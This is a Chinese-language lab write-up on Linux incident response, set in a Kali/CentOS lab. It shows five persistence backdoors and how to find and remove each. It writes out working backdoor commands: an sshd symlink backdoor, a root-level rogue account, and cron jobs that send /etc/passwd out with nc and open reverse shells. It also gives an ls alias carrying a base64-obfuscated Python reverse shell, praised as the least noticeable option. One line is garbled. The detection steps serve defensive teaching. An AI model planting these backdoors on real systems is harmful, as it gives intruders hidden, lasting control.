本次应急响应实验用kali和centos7来充当攻击机和靶机
kali:192.168.10.130
centos7:192.168.10.155
前提:
用kali连接到centos7上面ssh root@192.168.10.155
一、SSH软链接
任意密码登录即可发现程度:||||||
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
使用kali进行登录,这次密码随便输入即可
ssh root@xx.xx.xx.xx-p 12345
应急处置流程
第一步:查看服务器开放的端口号
使用netstat -anpt查看端口,发现可疑的端口12345
切换到3642的pid目录下面,发现有软链接后门
第二步:确定软链接后门文件
查看所有的su文件,以及查找具体哪一个su是软链接后门
find -name su
ll /usr/local/su
第三步:删除软链接后门
rm -rf /usr/local/su
切断进程
kill -9 3642
kill -9 4147
二、ssh公私钥免密登录
使用密钥进行登录
发现程度:|||||
创建秘钥对,然后将公钥上传到拿下的服务器中,实现root账号免密登录
1. 生成ssh秘钥对
ssh-keygen -t rsa
保存路径输入 ./id_rsa ,保存到当前路径。接着再按两次回车
2.将id_rsa.pub公钥上传到服务中
将公钥写入到authorized_keys文件中
mkdir /root/.ssh && touch /root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/
3.配置允许使用秘钥登录
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
4.ssh秘钥登录
ssh -i id_rsa root@192.168.10.155
应急处置流程
直接切换到/root/.ssh目录下面,把authorized_keys删掉即可(注意查看一下生成的时间,防止删掉客户之前生成的)
三、后门账号添加
使用命令添加账号
发现程度:||||||
添加root用户:
#添加账号test1,设置uid为0,密为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
or
echo "ruoji:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
passwd ruoji #修改ruoji的密码为ruoji
应急处置流程
1.查找特殊权限账号,默认root,如果出现其他账号需要警惕:
awk -F: '{if($3==0) print $1}' /etc/passwd
2.查找可以登录ssh的账号
s=$( sudo cat /etc/shadow | grep '^[^:]*:[^*!]' | awk -F: '{print $1}');for i
in $s;do cat /etc/passwd | grep -v "/bin/false|/nologin"| grep $i;done | sort
| uniq |awk -F: '{print $1}'
3.删除后门帐号
在root用户下,cat /etc/passwd | grep ruoji,这一步是确认ruoji存在
用ps查看ruoji正在使用的进程,把他的进程进行杀死:kill -9 5373
杀死进程之后,sudo userdel -rf ruoji,这一步强制删除用户
进入root根目录,删除和用户相关的文件夹 cd 进入根目录,找到ruoji,然后rm -rf ruoji ,删除文件夹
进入home目录, cd /home ,看是否有和ruoji同名的文件夹,有的话也用 rm -rf删掉
在root根目录下,进入 /var/spool/mail/ 目录下,找到user1相关目录删除
四、定时计划任务后门
生成命令网址:[~]#棱角 ::Edge.Forum*
crontab -e
*/1 * * * * nc 192.168.10.130 5555 < /etc/passwd #每一分钟把文件弹给kali
*/1 * * * * bash -i >& /dev/tcp/192.168.10.130/7777 0>&1 #每一分钟把shell反弹到kali上
kali监听指定7777端口可以获得shell
应急处置流程
1.crontab -l或者crontab -e查看定时任务,-e比-l查的更全一点
2.有些挖矿计划任务会写到Linux自带的计划任务里
用whereis cron查看自带的计划任务
五、别名后门
alias命令的功能:为命令设置别名
定义:alias ls="ls -al"
删除:unalias ls
每次输入ls命令的时候都能实现ls -al
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.130/3333 0>&1;};alerts'
执行ls就会反弹shell,持久化+隐藏:重启依旧生效,但是执行ls之后会卡住,容易被发现
别名配置存在 ~/.bashrc 配置文件中
cat ~/.bashrc|grep alias
下面这种方法可以在执行ls时候不会卡住,可以说是最好用的一种方法
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMzAiLCA2NjY2KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'
应急处置流程
netstat -anpt
ps -ef | grep 8094
然后删掉可疑进程
kill -9 8094
查看可疑别名:alias
删除别名:unalias ls